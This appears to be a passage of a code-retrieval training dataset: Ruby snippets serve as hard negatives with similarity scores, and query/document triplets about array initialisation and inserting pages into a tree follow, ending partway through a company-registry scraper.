"def set_plot\n @plot = Plot.find(params[:id])\n end",
"def set_plot\n @plot = Plot.find(params[:id])\n end",
"def show\n @framework_tender = FrameworkTender.find_by_id(params[:id])\n @ft_name = @framework_tender&.year.to_s + '/' + @framework_tender&.half_year.to_s\n @total_destinations = WarehouseSelection.where(:framework_tender_id => params[:id]).count\n @total_amount = WarehouseSelection.where(:framework_tender_id => params[:id]).sum(:estimated_qty)\n @user = User.find_by_id(@framework_tender&.certified_by)\n\n @warehouse_selections = []\n @param_id = 0\n if (params[:region].to_s == '' || params[:region].to_s == nil)\n @param_id = Location.where({location_type: 'region'}).first.id\n else\n @param_id = params[:region]\n end\n WarehouseSelection.joins(:location, warehouse: :hub).where(:framework_tender_id => params[:id]).select(:id, 'warehouses.name AS warehouse_name', :'warehouse_selections.location_id', 'locations.name AS woreda_name', 'hubs.name AS hub_name', :estimated_qty)\n .find_each do |warehouse_selection|\n @region_id = Location.find(warehouse_selection.location_id).parent.parent_node_id\n if(@region_id.to_s == @param_id.to_s)\n @warehouse_selections << warehouse_selection\n end \n end\n\n end",
"def show\n @plot = Plot.find(params[:id])\n @title = \"Plot Image\"\n\n\t if @plot.nil?\n\t\tredirect_to :action => \"index\"\n\t end\n\n\t respond_to do |format|\n\t format.html # show.html.erb\n\t format.xml { render :xml => @plot }\n\t end\n end",
"def plot\n sanitize_plot(document.search(\"h5[text()='Plot:'] ~ div\").first.innerHTML) rescue nil\n end",
"def labeled_measurements(label)\n # Need *all* for the tests to pass (to work for both saved and unsaved)\n Rails.env.test? ? self.measurements.all.select { |m| label == m.label } : self.measurements.select { |m| label == m.label }\n end",
"def show\n @buildings = Building.all.where(campus: @campus.id)\n\n # преобразование массива точек в строку для SVG.js:\n @showPoints = []\n polygons_ids = Polygon.all.where(imageable_id: @campus.id).map{ |i| i.id }\n polygons_ids.each do |i|\n @showPoints << Point.all.where(polygon_id: i)\n .sort_by{ |j| j[:priority] }\n .map{ |j| \"#{j.ox}, #{j.oy}\" }\n .join(\" \")\n end\n # @buildings = Building.all.where(campus: @campus.id)\n end",
"def paintings\n Painting.all.select do |a|\n a.gallery == self\n end\n end",
"def show\n @nodes = [ { id: 'plot_' + @plot.id.to_s, group: '1', name: @plot.name } ]\n @plot.characters.each do |c|\n link_item( 'plot_' + @plot.id.to_s, { id: 'char_' + c.id.to_s, group: '2', name: c.name } )\n end\n\n @plot.characters.each do |c|\n c.groups.each do |group|\n @nodes << { id: 'group_' + group.id.to_s, group: '3', name: group.name }\n @links << { source: 'char_' + c.id.to_s, target: 'group_' + group.id.to_s, value: 1 }\n\n group.characters.each do |connected_c|\n link_item( 'group_' + group.id.to_s, { id: 'char_' + connected_c.id.to_s, group: '2', name: connected_c.name } )\n end\n \n end\n end\n\n @graph = { nodes: @nodes, links: @links }\n end",
"def show\n @phenology_record = @block.phenology_records.find(params[:id])\n end",
"def all_paintings\n Painting.all.select do |painting|\n painting.artist == self\n end\n end",
"def all_animal_species\n #binding.pry\n all_animals.select{|species|species.zoo == self }.uniq\n end",
"def find_original_chart_attribute\n associated_attributes.map do |attr_name|\n original_chart_attribute = send(attr_name)\n break original_chart_attribute if original_chart_attribute.present?\n\n false\n end\n end",
"def draw_or_plot(group, snp_list, x_start, y_start, ormin, ormax, plot_labels, sig_larger)\n x = @box_size\n xmin = x\n\n ymin = 0\n ymax = @box_size*9\n y_interval = ymax-ymin\n\n stat_interval = ormax.to_f - ormin.to_f\n value_x = xmin * 0.7 + (@box_size * Math.sqrt(2)*0.25)/2\n\n temp_x = label_step(value_x)\n block_x_size = (value_x-temp_x).abs\n\n\n data_key = 'or'\n\n # determine location of odds ratio 1.0\n y_line = y_interval - (ormax-1.0) / stat_interval * y_interval\n\n # draw line across plot area at 1.0\n @canvas.g.translate(x_start,y_start) do |plot|\n plot.line(value_x, y_line, block_x_size * (snp_list.included_snps.length+1),y_line).styles(:stroke_width=>1, :stroke_opacity=>'lightgray', :opacity=>0.75)\n end\n\n value_x = value_x - (value_x - temp_x).abs\n\n # draw circle with line for the upper and lower bounds of the confidence interval\n # for every SNP that has an odds ratio for the indicated group at that SNP\n snp_list.included_snps.each do |snp_index|\n value_x = label_step(value_x)\n snp = snp_list.snps[snp_index]\n draw_separation(x_start, y_start, 0, ymax, value_x)\n if snp.results.has_key?(group.name)\n result = snp.results[group.name]\n if !result.values[data_key] or result.values[data_key] !~ /\\d/\n next\n end\n\n # check for larger box if lower confidence interval is greater than 1.0\n this_box = @box_size\n if sig_larger and (result.values['lci'].to_f > 1.0 or result.values['uci'].to_f < 1.0)\n this_box *= 2\n end\n\n box_y_start = y_interval - ((ormax.to_f-result.values[data_key].to_f) / stat_interval) * y_interval\n box_uci = y_interval - ((ormax.to_f-result.values['uci'].to_f) / stat_interval) * y_interval\n box_lci = y_interval - ((ormax.to_f-result.values['lci'].to_f) / stat_interval) * y_interval\n @canvas.g.translate(x_start,y_start) do |check|\n \t check.styles(:fill=>group.colorstr, :stroke=>group.colorstr, :stroke_width=>2, :fill_opacity=>0.9)\n\n or_box_x = value_x - Math.sqrt(2) *0.25/2 * this_box\n\n # adjust start of box so that mid-point marks actual odds ratio\n \t check.rect(this_box * Math.sqrt(2) *0.25, this_box * Math.sqrt(2) *0.25, or_box_x, box_y_start-this_box * Math.sqrt(2) *0.25/2)\n\n\t # draw line for confidence interval\n\t check.line(value_x, box_lci, value_x, box_uci)\n\t end\n end\n end\n\n value_x = label_step(value_x)\n\n if plot_labels\n x_label_start = value_x + x_start + @box_size * 0.4\n write_plot_labels(x_label_start, y_start, ymax, ormax, ormin, y_interval, 0, group.name + \" Odds Ratio\", false, 2, true)\n end\n\n end",
"def index_of_union_square(line_id, mta)\n line = mta[line_id]\n union_square_index = line.index(\"Union Square\")\n return union_square_index\nend",
"def galleries\n Painting.all.map do |painting_instance| \n if painting_instance.artist == self\n painting_instance.gallery\n end\n end.compact.uniq\n end",
"def animals\n Animal.all.select do |animal|\n animal.origin == self\n end \n end",
"def fix_if_cddt_is_uniq\n axes = [@row, @col, @block]\n axes.each{|axis|\n @cddts.each{|cddt|\n other_cell_cddts = []\n axis.map{|elm|\n next if elm == self\n other_cell_cddts.push(elm.cddts)\n }\n unless other_cell_cddts.flatten.include?(cddt)\n @cddts = [cddt]\n# if ProgramConfig[:debug]\n# print \"DEBUG: [#{i}, #{j}] = #{cddts.first}\\n\" unless @fixed\n# end\n @fixed = true\n end\n }\n }\n end",
"def find_ones\n ones_locations = []\n # => finding index of ROW and COL for each 1 in grid and storing as row/col array pairs\n @image_array.each_index do |row|\n @image_array[row].each_index do |col|\n if @image_array[row][col] == 1\n puts \"#{row}, #{col}\" # <---this is just to display that it's working, can be removed\n ones_locations << [row, col]\n end\n end\n end\n return ones_locations\n end",
"def find_by_species(species)\n self.animals.select do |animal|\n #binding.pry\n animal.species == species \n end\n end"
] |
[
"0.55304325",
"0.54785895",
"0.52627754",
"0.5241792",
"0.51635766",
"0.51285154",
"0.506681",
"0.5057504",
"0.4975984",
"0.49615198",
"0.49615198",
"0.49615198",
"0.49615198",
"0.49615198",
"0.49615198",
"0.49615198",
"0.49615198",
"0.49440005",
"0.49405658",
"0.48630714",
"0.4854585",
"0.483801",
"0.48372614",
"0.48356274",
"0.48292297",
"0.48230118",
"0.4815348",
"0.4808613",
"0.48021615",
"0.4801644",
"0.4770283",
"0.47592953",
"0.47415134",
"0.47262126",
"0.4718467",
"0.46955153",
"0.4693953",
"0.46865293",
"0.46747425",
"0.46747425",
"0.46655986",
"0.46588257",
"0.4658145",
"0.46579435",
"0.46512148",
"0.4649782",
"0.46391258",
"0.4636378",
"0.46239346",
"0.46177813",
"0.4609403",
"0.46045652",
"0.46034035",
"0.46007028",
"0.45897153",
"0.4588361",
"0.4585343",
"0.45851737",
"0.45851737",
"0.45851737",
"0.45833102",
"0.45784542",
"0.45743558",
"0.45661187",
"0.45659718",
"0.45646632",
"0.45599446",
"0.454261",
"0.45395648",
"0.45193407",
"0.4517525",
"0.4514025",
"0.45117143",
"0.45054582",
"0.45025063",
"0.4497432",
"0.44944865",
"0.44875288",
"0.44821107",
"0.44821107",
"0.44821107",
"0.44821107",
"0.44819883",
"0.4479086",
"0.44776568",
"0.44752055",
"0.44719365",
"0.44654393",
"0.44629374",
"0.4455135",
"0.44532296",
"0.44487768",
"0.44465917",
"0.44460824",
"0.44356424",
"0.44315934",
"0.4429032",
"0.4428947",
"0.44228142",
"0.4417195"
] |
0.5475822
|
2
|
an empty array accessible to all methods
|
def print_menu
puts "1. Input the students"
puts "2. Show the students"
puts "3. Save the list to students.csv"
puts "4. Load the list from students.csv"
puts "5. Exit"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def array\n raise \"Not implemented\"\n end",
"def another; return []; end",
"def all\n []\n end",
"def __array__; self; end",
"def to_ary\n\t []\n\tend",
"def variables\n EMPTY_ARRAY\n end",
"def array\n @@array\n end",
"def initialize; @ary = []; end",
"def to_a; []; end",
"def required_data() [] end",
"def to_ary; []; end",
"def initialize\n @array = []\n end",
"def all\n @@all ||= Array.new\n end",
"def to_ary\n nil\n end",
"def to_ary\n nil\n end",
"def to_ary\n nil\n end",
"def to_ary\n nil\n end",
"def to_ary\n nil\n end",
"def array_start\n []\n end",
"def to_ary; nil; end",
"def values\n []\n end",
"def to_ary\n nil\n end",
"def to_ary\n nil\n end",
"def to_ary\n nil\n end",
"def to_ary\n nil\n end",
"def airports_normal\n return Array.new\n end",
"def array()\n\t\t@array\n\tend",
"def ignorable_objects\n\t\t[]\n\tend",
"def empty()\n \n end",
"def get_data\n @data = []\n end",
"def Array(p0) end",
"def void_array(*args)\n return nil.to_a\n end",
"def discardable\n []\n end",
"def defaults\n []\n end",
"def invokables\n []\n end",
"def get_items\n\t\t@arr\n\tend",
"def array\n\t\t#create an array of\n\t\tarray = [0, 1, 2, 3, 4, 5, 6, 7, 8]\n\tend",
"def array\n @array\n end",
"def airports_out_of_region\n return Array.new\n end",
"def exposed_methods\n []\n end",
"def exposed_methods\n []\n end",
"def variables_instance\n warn 'i dont like this!'\n []\n end",
"def initialize arr = []\n super arr\n end",
"def []=(*) end",
"def in_memory\n []\n end",
"def initialize\n @data = []\n end",
"def initialize\n @more_array = Array.new\n end",
"def to_ary()\n return nil;\n end",
"def all\n @list || []\n end",
"def empty!\r\n\t\t@items = []\r\n\tend",
"def empty!; end",
"def items\n\t\t\t\tnil\n\t\t\tend",
"def array\n self.allObjects\n end",
"def initialize()\n\t@list_arr\t= []\nend",
"def missing_data\n only_missing.to_a\n end",
"def get_array\n\t\tsynchronize do\n\t\t\t@condition.wait_until{@array.size > 0}\n\t\t\ta = @array\n\t\t\t@array = []\n\t\t\treturn a\n\t\tend\n\tend",
"def in_memory\n []\n end",
"def in_memory\n []\n end",
"def initial_state\n []\n end",
"def existing\n []\n end",
"def list\n {}\nend",
"def zero()\n\treturn([0,0,0,0,0,0,0,0,0])\nend",
"def initialize\n\t\t@e = []\n\tend",
"def get_all()\n raise \"Must be overridden\"\n end",
"def all\n\t\t@data_base.keys.dup || []\n\tend",
"def make_array\n [@name, @author, @deviation_url, @views, @favs, @comments]\n end",
"def values\n @values ||= []\n end",
"def initialize\n @Users = Array.new \n end",
"def keys\n return [], []\n end",
"def initialize\n empty!\n end",
"def initialize\n empty!\n end",
"def keys\n return []\n end",
"def initialize_issues_array\n find_all_issues\n end",
"def to_a; Array(force) end",
"def to_ary\n [ self ]\n end",
"def get_items\r\n @arr.to_a\r\n end",
"def to_a; [self] end",
"def to_a; [self] end",
"def values\n @values ||= []\n end",
"def clear\n with(keys: EMPTY_ARRAY)\n end",
"def initialize\n @listOfItem = Array.new\n end",
"def __elements\n @__elements ||= {}\n end",
"def initialize arr = [], deferred = [], missing = []\n super arr\n @deferred = deferred\n @missing = missing\n end",
"def clear_data \n @data = []\n end",
"def list\n @list ||= []\n end",
"def build_array\n arr = []\n yield(arr)\n arr \n end",
"def methods=(_arg0); end",
"def clear\n @known = []\n end",
"def data\n {}\n end",
"def attributes; @attributes ||= []; end",
"def initialize\n @_calls = []\n end",
"def to_a; [self]; end",
"def items\n @items ||= []\n end",
"def empty_curve\n Array.new(FRAMES, 0.0)\n end",
"def points\n []\n end",
"def elements; end",
"def elements; end",
"def elements; end",
"def instantiate_new_array\n<<<<<<< HEAD\n Array.new\nend",
"def users\n []\n end",
"def all\n @rarray\n end"
] |
[
"0.73341405",
"0.7154377",
"0.70395124",
"0.6939797",
"0.68577194",
"0.6831367",
"0.67742383",
"0.67736715",
"0.6770608",
"0.675761",
"0.6746169",
"0.67191696",
"0.6681353",
"0.661779",
"0.661779",
"0.661779",
"0.661779",
"0.6611431",
"0.65442127",
"0.6529813",
"0.652277",
"0.6505915",
"0.6505915",
"0.6505915",
"0.6505915",
"0.6502524",
"0.64952826",
"0.645656",
"0.6393116",
"0.63789195",
"0.63611114",
"0.6334588",
"0.6327558",
"0.63256234",
"0.63189673",
"0.63172346",
"0.6296135",
"0.6292642",
"0.6292023",
"0.62846667",
"0.62846667",
"0.6251168",
"0.6241256",
"0.6222292",
"0.62099326",
"0.6208323",
"0.6190815",
"0.61832386",
"0.618115",
"0.61775017",
"0.6176499",
"0.6162423",
"0.6152129",
"0.6145069",
"0.61387867",
"0.613435",
"0.6128402",
"0.6128402",
"0.6122757",
"0.6091468",
"0.6087842",
"0.60775876",
"0.6071743",
"0.60342175",
"0.60334545",
"0.603068",
"0.602223",
"0.60171086",
"0.59929466",
"0.59864724",
"0.59864724",
"0.5981396",
"0.59717256",
"0.5959422",
"0.59421134",
"0.593213",
"0.5928745",
"0.5928745",
"0.59279776",
"0.5917732",
"0.59148663",
"0.59141994",
"0.5905558",
"0.5897715",
"0.58936566",
"0.58773965",
"0.5873992",
"0.58636725",
"0.5857826",
"0.584588",
"0.584565",
"0.58355963",
"0.58351606",
"0.5830997",
"0.58196956",
"0.58165",
"0.58165",
"0.58165",
"0.58129096",
"0.5810123",
"0.5806773"
] |
0.0
|
-1
|
Insert page into tree tree Empty hash, to be filled with pages page Page to add as gollum::Page
|
def tree_insert(tree, page)
node_list = page.path.split("/")
_tree_insert(tree, page, node_list)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_page_to_tree(page)\n if !page.root?\n #puts \"page: #{page}\"\n #puts \"page.fullpath: #{page.fullpath}\"\n #puts \"page.parent_id: #{page.parent_id}\"\n page.parent = @remote_pages_by_id[page.parent_id]\n #puts \"page.parent: #{page.parent}\"\n #puts \"page.parent.class: #{page.parent.class}\"\n #puts \"page.parent.children: #{page.parent.children}\"\n page.parent.children << page\n end\n end",
"def add( page )\n ary = @db[page.directory]\n\n # make sure we don't duplicate pages\n ary.delete page if ary.include? page\n ary << page\n\n page\n end",
"def insert_page(page = nil)\n return @insert_page unless page\n if page == :last\n @insert_page = @pageset[-1]\n else\n @insert_page = @pageset[page]\n end\n end",
"def page_tree\n @tree ||= [self.root_page.tree_hash_value]\n @tree\n end",
"def store_page\n @stored_page = @crwlr.pages.create(:address => @url, :title => @page_title[0..200], :number_of_links => @links.size)\n if @parent_page\n @parent_page.pages << @stored_page\n end\n end",
"def recursive_create_page(page, parent=nil)\n Globalize.locale = @master_locale\n puts \"#{page['title']}\"\n p = Refinery::Page.find_by_title page['title']\n if not p or p.parent != parent\n puts \"+++ Create page #{page['title']} (#{page['type']})\"\n if parent then\n p = parent.children.create :title => page['title'],\n :deletable => false,\n :view_template => page['type']\n else\n p = Refinery::Page.create :title => page['title'],\n :deletable => false,\n :view_template => page['type']\n end\n else\n puts \" === Found existing page #{page['title']} (#{page['type']})\"\n end\n if page.has_key?('skip_to_first_child') and page['skip_to_first_child'] != p.skip_to_first_child\n p.skip_to_first_child = page['skip_to_first_child']\n p.save\n end\n if page['parts'] then\n page['parts'].each_pair do |key, part|\n puts \" ++ create page part #{key}\"\n pp = p.parts.find_by_title(key)\n pp.body = part.strip\n pp.save\n end\n end\n if page['children'] then\n page['children'].each do |child|\n recursive_create_page child, p\n end\n end\n end",
"def page=( page )\n init_db_from_page( page )\n @page = page.deep_clone\n end",
"def add_child(page)\n page.parent = self\n\n (self.children ||= []) << page\n\n self.children.sort! { |a, b| (a.position || 999) <=> (b.position || 999) }\n\n page\n end",
"def associate_page(page); end",
"def create\n @page = Page.new(page_params)\n respond_to do |format|\n if @page.save\n self.build_pages_tree\n format.html { redirect_to @pages_tree[@page.id], notice: 'Page was successfully created.' }\n format.json { render :show, status: :created, location: @page }\n else\n format.html { render :new }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def assign_position\n gon.structure = build_pages_tree\n gon.position = @page.position\n gon.parent_id = @page.parent_id\n end",
"def insert_left(value, tree)\n left = tree[:left]\n if left == nil\n left = Hash.new()\n left[:parent] = tree\n tree[:left] = left\n end\n insert(value, left)\nend",
"def order\n neworder = JSON.parse(params[:set])\n rootpage = Page.language_root_for(session[:language_id])\n\n tree = create_tree(neworder, rootpage)\n\n Alchemy::Page.transaction do\n tree.each do |key, node|\n dbitem = Page.find(key)\n dbitem.update_node!(node)\n end\n end\n\n flash[:notice] = _t(\"Pages order saved\")\n @redirect_url = admin_pages_path\n render :action => :redirect\n end",
"def initialize_empty_page\n if self.pages.empty?\n self.draft = self.pages.create!\n self.save\n end\n end",
"def add_local_page(page)\n @local_pages[page.fullpath] = page\n for child in page.children\n add_local_page child\n end\n end",
"def flat_page_tree\n @flat_tree ||= ([{\n :key => \"page_#{self.root_page.id}\".to_sym,\n :name => self.root_page.menu_name,\n :url => self.root_page.url,\n :options => {:class => \"#{self.root_page.page_type} #{self.root_page.displayed ? '' : 'not-displayed'}\"},\n :items => []\n }] + self.root_page.children.collect {|page| page.tree_hash_value } )\n @flat_tree\n end",
"def create\n unless params[:page][:type].nil?\n object = Object.const_get(params[:page][:type])\n @page = object.new(params[:page]) \n else\n @page = Page.new(params[:page])\n end\n\n @page.layout_template.positions.each{|p|\n @page.blocks << Block.new(:page_id => @page.id, :position_id => p.id)\n }\n \n @page.slug = Page.escape_permalink(@page.name,\"-\")\n existing_pages = Page.find(:first, :conditions => [\"slug = ?\", @page.slug])\n if @page.parent.nil? || @page.parent.children.size == 0\n @page.order = 1\n else\n @page.order = @page.parent.children.size + 1\n end\n\n respond_to do |format|\n if existing_pages.nil? and @page.save\n flash[:notice] = t('message.page.created')\n if @page.type == \"Blog\"\n format.html { redirect_to :controller => 'blogs', :action => 'show', :user => User.find(@page.user_id).login, :language => session[:language].short_name and return}\n else\n format.html { redirect_to(@page) }\n end\n format.xml { render :xml => @page, :status => :created, :location => @page }\n else\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n# format.html { render :xml => @page.errors, :status => :unprocessable_entity }\n format.html { render :action => \"new\" }\n end\n end\n end",
"def insert(key, value = nil)\n node = @root\n if node.full? \n @root = Btree::Node.new(@degree)\n @root.add_child(node)\n @root.split(@root.children.size - 1)\n #puts \"After split, root = #{@root.inspect}\"\n # split child(@root, 1)\n node = @root\n end\n node.insert(key, value)\n @size += 1\n return self\n end",
"def assign_pages!; end",
"def create_pages(page)\n skip_count = 0\n page[:content].split( SEP_PAGES ).each_with_index do |content,i|\n if content =~ PTN_METADATA\n page[:title] = $1;page[:tag] = $2\n page[:created_at] = str2time( $3 ) if !$3.blank?\n h = {};$4.split('|').each{|e| pair = e.split('=') ; h[pair[0].to_sym] = pair[1] }\n h[:public_flag] = false if !h[:public_flag] || h[:public_flag] != \"true\"\n h[:page_type] = 'N' if !h[:page_type]\n page.merge!(h)\n #$lgr.info page.inspect\n content.gsub! PTN_METADATA , \"\"\n end\n page[:content] = content\n extract_data Page.create!(page)\n end.length\n end",
"def insert_data(data)\n self.root = insert(data)\n end",
"def reset\n @data[@rootkey][@pagekey] = {}\n end",
"def create\n #@parent_page = Page.find(params[:page][:parent_id])\n \n @page = Page.new(params[:page])\n #@page.move_to_child_of(@parent_page)\n \n respond_to do |wants|\n if @page.save\n flash[:notice] = 'Страница успешно создана.'\n wants.html { redirect_to(admin_pages_url) }\n wants.xml { render :xml => @page, :status => :created, :location => @page }\n else\n wants.html { render :action => \"new\" }\n wants.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def insert_into_tree(tree,num)\n if num < tree.data\n tree.left.nil? ? tree.left = Node.new(num) : insert_into_tree(tree.left, num)\n end\n if num > tree.data\n tree.right.nil? ? tree.right = Node.new(num) : insert_into_tree(tree.right, num)\n end\nend",
"def add\n if page.url && !Ink.config['docs_mode']\n Ink.site.pages << page unless Helpers::Path.find_page(page)\n end\n end",
"def insert(key)\n @root = insert_helper(@root, key)\n end",
"def insert(key,value)\n tree = insert_help(key,value)\n if tree.kick?\n tree.to_tree\n else\n tree\n end\n end",
"def insert(num)\n\t\tnode = @root\n\t\tuntil node.key == num\n\t\t\tif (num > node.key)\n\t\t\t\tif (node.right.nil?)\n\t\t\t\t\tnew_node = Node.new(key: num, parent: node)\n\t\t\t\t\tnode.right = new_node\n\t\t\t\t\tnode = new_node\n\t\t\t\telse\n\t\t\t\t\tnode = node.right\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif (node.left.nil?)\n\t\t\t\t\tnew_node = Node.new(key: num, parent: node)\n\t\t\t\t\tnode.left = new_node\n\t\t\t\t\tnode = new_node\n\t\t\t\telse\n\t\t\t\t\tnode = node.left\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def insert_right(value, tree)\n right = tree[:right]\n if right == nil\n right = Hash.new()\n right[:parent] = tree\n tree[:right] = right\n end\n insert(value, right)\nend",
"def insert(location, data)\n pages_to_add = nil\n if data.is_a? PDF\n @version = [@version, data.version].max\n pages_to_add = data.pages\n actual_value(@names ||= {}.dup).update data.names, &HASH_MERGE_NEW_NO_PAGE\n merge_outlines((@outlines ||= {}.dup), actual_value(data.outlines), location) unless actual_value(data.outlines).empty?\n if actual_value(@forms_data)\n actual_value(@forms_data).update actual_value(data.forms_data), &HASH_MERGE_NEW_NO_PAGE if data.forms_data\n else\n @forms_data = data.forms_data\n end\n warn 'Form data might be lost when combining PDF forms (possible conflicts).' unless data.forms_data.nil? || data.forms_data.empty?\n elsif data.is_a?(Array) && (data.select { |o| !(o.is_a?(Hash) && o[:Type] == :Page) }).empty?\n pages_to_add = data\n elsif data.is_a?(Hash) && data[:Type] == :Page\n pages_to_add = [data]\n else\n warn \"Shouldn't add objects to the file unless they are PDF objects or PDF pages (an Array or a single PDF page).\"\n return false # return false, which will also stop any chaining.\n end\n # pages_to_add.map! {|page| page.copy }\n catalog = rebuild_catalog\n pages_array = catalog[:Pages][:referenced_object][:Kids]\n page_count = pages_array.length\n if location < 0 && (page_count + location < 0)\n location = 0\n elsif location > 0 && (location > page_count)\n location = page_count\n end\n pages_array.insert location, pages_to_add\n pages_array.flatten!\n self\n end",
"def insert!(value, papa)\n if value <= papa.value && papa.left\n insert!(value, papa.left)\n elsif value <= papa.value\n papa.left = BSTNode.new(value)\n papa.left.papa = papa\n elsif value > papa.value && papa.right\n insert!(value, papa.right)\n else\n papa.right = BSTNode.new(value)\n papa.right.papa = papa\n end\n end",
"def set_tree\n @tree = Tree\n .where(:root_uri => params[:root_uri])\n .first_or_create(:root_uri => params[:root_uri])\n end",
"def insert(root, new_node)\n new_node.id = @count + 1\n current = find_parent(root, new_node)\n\n current.left.nil? ? current.left = new_node : current.right = new_node\n new_node.parent = current\n\n heapify(new_node)\n @count += 1\n end",
"def insert(key, node = root)\n return node if node.data == key\n if child_count(node) == 0\n key < node.data ? node.left = Node.new(key) : node.right = Node.new(key)\n else\n insert(key, left_right(key, node))\n end\n end",
"def duplicate\n @copy = self.deep_clone :no_duplicates => true, :never_clone => [:uuid, :updated_at,:created_at]\n @copy.static_page = self.static_page.duplicate\n self.sub_pages.each do |page| \n copy_of_page = page.duplicate\n @copy.sub_pages << copy_of_page\n copy_of_page.save\n end\n @copy.save\n @copy\n end",
"def push_tree\n new_node = NaryTree.new nil\n @tree_stack.last.children << new_node\n @tree_stack.push new_node\n end",
"def insert(data)\n @nodes << data\n heapify_up\n end",
"def page hash = {}\n hash = {:page => hash} if hash.is_a? String\n hash[:trailing_slash] = !hash[:page]\n kopal_route_page_path hash\n end",
"def get_add(id)\n page_data = Hash.new()\n pg3 = nil\n begin\n pg3 = fetch_pg3(id)\n end while pg3 == nil\n\n\n #Scrapping pg3, preparing page data to be inserted in the database\n b_number = s_text((Nokogiri::HTML(pg3.body).xpath(\".//tr[td[contains(text(), 'რეგისტრაციის ნომერი')]]/td/span[text()]\")))\n page_data[\"b_number\"] = b_number\n page_data[\"property_num\"] = id\n page_data[\"cid\"] = $current_cid\n Nokogiri::HTML(pg3.body).xpath(\".//div[@id = 'application_tab']/table/tbody/tr\").each{|tr|\n row_data = tr.xpath(\"td\")\n if row_data.length != 2\n next\n end\n val1 = s_text(row_data[0])\n val2 = s_text(row_data[1])\n if val2 == \"\" or val2 == \" \"\n val2 = nil\n end\n page_data[val1] = val2\n }\n #the page_id of the current inserted page\n page_id = insert_page(page_data)\n $page_list.push(page_id)\n\n #checking for people whose name is written in corresponding entries\n if page_data[\"განმცხადებელი\"] != nil\n pid = insert_person(page_data[\"განმცხადებელი\"])\n $pg_prsn_ls.push({pid, \"განმცხადებელი\"})\n begin\n $DB.execute(\"INSERT INTO page_to_person(cid, page_id, pid, role, scrap_date) VALUES(:cid, :page_id, :pid, :role, :scrap_date)\",\n \"cid\"=>$current_cid,\n \"page_id\"=>page_id,\n \"pid\"=>pid,\n \"role\"=>\"განმცხადებელი\",\n \"scrap_date\"=>Time.now.utc.iso8601)\n\n #A new person has appeared on a comp data that was scrapped previously\n if $comp_in_db == true\n alrt_bd = Hash.new\n alrt_bd[\"cid\"] = $current_cid\n alrt_bd[\"pid\"] = pid\n alrt_bd[\"role\"] = \"განმცხადებელი\"\n alert(1, alrt_bd)\n $DB.execute(\"INSERT INTO page_to_person_update(cid, page_id, pid, insert_date, role) VALUES(:cid, :page_id, :pid, :insert_date, :role)\",\n \"cid\"=>$current_cid,\n \"page_id\"=>page_id,\n \"pid\"=>pid,\n \"insert_date\"=>Time.now.utc.iso8601,\n \"role\"=>\"განმცხადებელი\")\n end\n puts \"A person pid = #{pid} linked to company cid = #{$current_cid} as განმცხადებელი (Applicant)\"\n rescue SQLite3::Exception => e\n puts \"Exception occured\"\n puts e\n end\n end\n\n if page_data[\"წარმომადგენელი\"] != nil\n pid = insert_person(page_data[\"წარმომადგენელი\"])\n $pg_prsn_ls.push({pid,\"წარმომადგენელი\"})\n begin\n $DB.execute(\"INSERT INTO page_to_person(cid, page_id, pid, role, scrap_date) VALUES(:cid, :page_id, :pid, :role, :scrap_date)\",\n \"cid\"=>$current_cid,\n \"page_id\"=>page_id,\n \"pid\"=>pid,\n \"role\"=>\"წარმომადგენელი\",\n \"scrap_date\"=>Time.now.utc.iso8601)\n\n #A new person has appeared on a comp data that was scrapped previously\n if $comp_in_db == true\n alrt_bd = Hash.new\n alrt_bd[\"cid\"] = $current_cid\n alrt_bd[\"pid\"] = pid\n alrt_bd[\"role\"] = \"წარმომადგენელი\"\n alert(1, alrt_bd)\n $DB.execute(\"INSERT INTO page_to_person_update(cid, page_id, pid, insert_date, role) VALUES(:cid, :page_id, :pid, :insert_date, :role)\",\n \"cid\"=>$current_cid,\n \"page_id\"=>page_id,\n \"pid\"=>pid,\n \"insert_date\"=>Time.now.utc.iso8601,\n \"role\"=>\"წარმომადგენელი\")\n end\n puts \"A person pid = #{pid} linked to company cid = #{$current_cid} as წარმომადგენელი (Representative)\"\n rescue SQLite3::Exception => e\n puts \"Exception occured\"\n puts e\n end\n end\n\n if page_data[\"წარმომდგენი\"] != nil\n pid = insert_person(page_data[\"წარმომდგენი\"])\n $pg_prsn_ls.push({pid, \"წარმომდგენი\"})\n begin\n $DB.execute(\"INSERT INTO page_to_person(cid, page_id, pid, role, scrap_date) VALUES(:cid, :page_id, :pid, :role, :scrap_date)\",\n \"cid\"=>$current_cid,\n \"page_id\"=>page_id,\n \"pid\"=>pid,\n \"role\"=>\"წარმომდგენი\",\n \"scrap_date\"=>Time.now.utc.iso8601)\n\n #A new person has appeared on a comp data that was scrapped previously\n if $comp_in_db == true\n alrt_bd = Hash.new\n alrt_bd[\"cid\"] = $current_cid\n alrt_bd[\"pid\"] = pid\n alrt_bd[\"role\"] = \"წარმომდგენი\"\n alert(1, alrt_bd)\n $DB.execute(\"INSERT INTO page_to_person_update(cid, page_id, pid, insert_date, role) VALUES(:cid, :page_id, :pid, :insert_date, :role)\",\n \"cid\"=>$current_cid,\n \"page_id\"=>page_id,\n \"pid\"=>pid,\n \"insert_date\"=>Time.now.utc.iso8601,\n \"role\"=>\"წარმომდგენი\")\n end\n puts \"A person pid = #{pid} linked to company cid = #{$current_cid} as წარმომდგენი (Presenting)\"\n rescue SQLite3::Exception => e\n puts \"Exception occured\"\n puts e\n end\n end\n\n #scraping all scan-docs from the page3\n Nokogiri::HTML(pg3.body).xpath(\".//div[@id='tabs-3']/div/table[caption[text() = 'სკანირებული დოკუმენტები']]/tr\").each{|tr|\n scols = tr.xpath(\"td\")\n s_date = s_text(scols[1].xpath(\"./span[2]\"))\n s_link = attributes(scols[0].xpath(\"./a\"),\"href\")\n s_fname = scols[2].xpath(\"./a\").text()\n #puts \"INFO ADD PAGE comp = #{$current_cid} link = #{s_link} fname = #{s_fname}; date = #{s_date}\"\n if s_link != nil\n scan_id = insert_scan(s_link, nil, s_fname)\n $scan_list.push(scan_id)\n end\n }\n\n #scraping all application/status files from the page3\n 